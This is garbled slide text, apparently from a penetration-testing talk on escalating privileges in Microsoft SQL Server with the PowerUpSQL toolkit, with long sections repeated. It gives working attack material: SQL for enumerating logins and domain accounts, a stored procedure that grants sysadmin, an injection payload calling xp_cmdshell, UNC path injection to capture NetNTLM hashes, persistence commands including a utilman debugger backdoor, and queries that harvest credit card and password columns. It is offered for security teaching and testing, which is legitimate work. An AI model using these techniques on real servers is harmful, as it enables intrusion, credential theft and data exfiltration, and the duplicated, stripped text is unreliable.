Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
